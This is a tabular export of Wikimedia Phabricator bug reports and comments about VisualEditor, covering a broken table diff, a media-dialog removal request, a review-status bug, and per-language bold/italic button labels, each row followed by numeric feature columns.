53772,"Broken table, repeated section in diff after VisualEditor edit","I recently ran across [https://en.wikipedia.org/w/index.php?title=Polycarbonate&diff=prev&oldid=564618311 this edit].  It seems as though they were trying to fix a spelling correction and inadvertently destroyed a table and had an entire section get repeated.

There was a little [https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Strange_Diff discussion about the diff on the Visual Editor feedback page], where it was mentioned that the diff ""is very strange and [the commenter didn't] recall seeing anything similar"".

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1374416280,1412977739.0,PHID-USER-2qzpsivaeuezrxqtzhwn,False,,False,PHID-TASK-ing4zbhpdsfypnokceeg,task_description,resolved,True,c1,3,False,False,False,2,,0.0,1.0,1.0,1.0,1.0,6.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,7.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,9.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,7.0,2.0,0.0,2.0,0.0,4.0,0.0,1.0,4.0,0.0,2.0,0.0,0.0,3.0,4.041237113402062,0.7216494845360825,"I recently ran across [URL this edit].  It seems as though they were trying to fix a spelling correction and inadvertently destroyed a table and had an entire section get repeated.

There was a little [URL discussion about the diff on the Visual Editor feedback page], where it was mentioned that the diff ""is very strange and [the commenter didn't] recall seeing anything similar"".

--------------------------
**Version**: unspecified
**Severity**: normal"
242907,"Broken table, repeated section in diff after VisualEditor edit","This was fixed a very long time ago (around August last year), but I didn't spot this report until just now; my apologies.",,,1412977739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ing4zbhpdsfypnokceeg,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4482758620689653,1.0,"This was fixed a very long time ago (around August last year), but I didn't spot this report until just now; my apologies."
242904,"Broken table, repeated section in diff after VisualEditor edit","The problem is that the table wikitext is buggy there.  It is missing a closing tag (in reality, it is missing a newline break.  |-|} .. See https://en.wikipedia.org/w/index.php?title=Polycarbonate&action=edit&oldid=563700122)

The PHP parser output for this is also broken (see https://en.wikipedia.org/w/index.php?title=Polycarbonate&oldid=563700122#Manufacturers_and_brands and where the table has ended up).

We could improve Parsoid to detect some scenarios like this, but it is currently lower priority.  Fixing the table by adding a line break between ""|-"" and ""|}"" should fix the issue for now.

Sample wikitext snippet for our use later:

{|
|foo
|-|}
abc",,,1374506456,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ing4zbhpdsfypnokceeg,task_subcomment,,True,c1,3,True,,,3,,1.0,0.0,0.0,0.5,0.0,2.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,5.5,6.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.5,0.0,0.5,0.0,0.0,0.0,13.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,3.5,6.5,1.0,2.0,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,6.5,4.5,0.0,3.5,0.0,3.0,0.0,0.5,2.0,0.0,2.5,1.0,0.0,0.0,3.375,0.7833333333333333,"The problem is that the table wikitext is buggy there.  It is missing a closing tag (in reality, it is missing a newline break.  |-|} .. See URL

The PHP parser output for this is also broken (see URL and where the table has ended up).

We could improve Parsoid to detect some scenarios like this, but it is currently lower priority.  Fixing the table by adding a line break between ""|-"" and ""|}"" should fix the issue for now.

Sample wikitext snippet for our use later:

{|
|foo
|-|}
abc"
53764,"VisualEditor: Have a ""remove from page"" button in media settings dialog","An English Wikipedia user familiar with the transclusion dialog expected thatthe way to remove an  image from the article was using a remove option in the media dialog. Such an option does not exist, and they couldn't work out another way of removing the image other than selecting and deleting the characters around and including the slug.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374362700,1437787301.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-apnlro5ql64fbmr7qoty,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,8.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,9.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,6.0,0.0,0.0,0.0,4.5125,0.7125,"An English Wikipedia user familiar with the transclusion dialog expected thatthe way to remove an  image from the article was using a remove option in the media dialog. Such an option does not exist, and they couldn't work out another way of removing the image other than selecting and deleting the characters around and including the slug.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
496827,"VisualEditor: Have a ""remove from page"" button in media settings dialog",It's (now?) very simple to delete an image by clicking on it and pressing delete. Pushback welcome.,,,1437787301,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-apnlro5ql64fbmr7qoty,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,3.608695652173913,0.9130434782608695,It's (now?) very simple to delete an image by clicking on it and pressing delete. Pushback welcome.
53747,sees unreviewed pages despite their ns isn't reviewable,"After https://pl.wikipedia.org/w/index.php?title=Pomoc:VisualEditor/Skr%C3%B3ty_klawiszowe&oldid=37098556&diff=cur this edit it sees unreviewed pages and distinguishes between stable and unreviewed versions despite a) on this page, both versions are autoreviewed b) even if points [[Wikipedia:VisualEditor/Nawigacja]] (transcluded) out as pending rewiev - the project namespace is not reviewable.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1374328320,,PHID-USER-gf5juv3z3p75bykrcrhf,False,,False,PHID-TASK-npzavnntwnz6xylar7kw,task_description,open,True,c1,3,False,False,,2,,0.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,4.0,4.410958904109589,0.7534246575342466,"After URL this edit it sees unreviewed pages and distinguishes between stable and unreviewed versions despite a) on this page, both versions are autoreviewed b) even if points [[Wikipedia:VisualEditor/Nawigacja]] (transcluded) out as pending rewiev - the project namespace is not reviewable.

--------------------------
**Version**: unspecified
**Severity**: minor"
53713,VisualEditor: Set correct text annotation buttons for ka (მ/კ),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266340,1374633775.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239582,VisualEditor: Set correct text annotation buttons for ka (მ/კ),Done and will be deployed tomorrow.,,,1374633775,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239574,VisualEditor: Set correct text annotation buttons for ka (მ/კ),"Change 74979 merged by jenkins-bot:
Add bold/italic for cyrillic/georgian languages

https://gerrit.wikimedia.org/r/74979",,,1374632702,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 74979 merged by jenkins-bot:
Add bold/italic for cyrillic/georgian languages

GERRIT_URL"
239568,VisualEditor: Set correct text annotation buttons for ka (მ/კ),"Change 74979 had a related patch set uploaded by Esanders:
Add bold/italic for cyrillic/georgian languages

https://gerrit.wikimedia.org/r/74979",,,1374428015,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4uk2cqp2bkhf3so3ifse,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,0.9565217391304348,"Change 74979 had a related patch set uploaded by Esanders:
Add bold/italic for cyrillic/georgian languages

GERRIT_URL"
53712,VisualEditor: Set correct text annotation buttons for os (Б/???),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266340,1374633751.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jfjnga5p64vzxczhpota,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239522,VisualEditor: Set correct text annotation buttons for os (Б/???),Done and will be deployed tomorrow.,,,1374633751,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jfjnga5p64vzxczhpota,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239520,VisualEditor: Set correct text annotation buttons for os (Б/???),"Change 74979 merged by jenkins-bot:
Add bold/italic for cyrillic/georgian languages

https://gerrit.wikimedia.org/r/74979",,,1374632700,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jfjnga5p64vzxczhpota,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 74979 merged by jenkins-bot:
Add bold/italic for cyrillic/georgian languages

GERRIT_URL"
239517,VisualEditor: Set correct text annotation buttons for os (Б/???),"Change 74979 had a related patch set uploaded by Esanders:
Add bold/italic for cyrillic/georgian languages

https://gerrit.wikimedia.org/r/74979",,,1374428013,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jfjnga5p64vzxczhpota,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,0.9565217391304348,"Change 74979 had a related patch set uploaded by Esanders:
Add bold/italic for cyrillic/georgian languages

GERRIT_URL"
53711,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266340,1374633741.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239479,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),Done and will be deployed tomorrow.,,,1374633741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239475,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),"Change 74979 merged by jenkins-bot:
Add bold/italic for cyrillic/georgian languages

https://gerrit.wikimedia.org/r/74979",,,1374632698,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 74979 merged by jenkins-bot:
Add bold/italic for cyrillic/georgian languages

GERRIT_URL"
239471,VisualEditor: Set correct text annotation buttons for ru/ky (Ж/K),"Change 74979 had a related patch set uploaded by Esanders:
Add bold/italic for cyrillic/georgian languages

https://gerrit.wikimedia.org/r/74979",,,1374428011,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,0.9565217391304348,"Change 74979 had a related patch set uploaded by Esanders:
Add bold/italic for cyrillic/georgian languages

GERRIT_URL"
53710,VisualEditor: Set correct text annotation buttons for nl (V/C),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266280,1374636861.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hlwmurrr6a42vwsh4edb,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239434,VisualEditor: Set correct text annotation buttons for nl (V/C),Done and will be deployed tomorrow.,,,1374634218,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hlwmurrr6a42vwsh4edb,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239430,VisualEditor: Set correct text annotation buttons for nl (V/C),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632635,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hlwmurrr6a42vwsh4edb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239425,VisualEditor: Set correct text annotation buttons for nl (V/C),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412448,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hlwmurrr6a42vwsh4edb,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53709,VisualEditor: Set correct text annotation buttons for eu (L/E),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266280,1374633960.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-52xvekcadppljx7wxtjw,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
